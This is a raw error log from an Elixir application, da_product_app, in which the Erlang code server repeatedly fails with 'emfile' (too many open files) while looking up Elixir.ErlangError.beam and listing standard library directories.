[Sun Sep  6 00:59:42.880000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.880000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.880000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.880000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.881000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.881000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.881000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.881000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.881000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.881000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.881000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.881000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.882000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.882000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.883000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.884000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.884000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.885000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.885000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.885000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.885000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.885000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.885000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.885000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.886000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.887000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.887000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.887000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.887000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.888000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.889000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.889000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.889000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.889000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.889000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.890000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.890000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.890000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.890000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.891000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.891000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.891000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.891000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.891000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.891000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.891000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.891000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.892000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.892000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.892000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.892000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.892000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.892000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.893000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.893000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.893000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.893000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.893000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.894000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
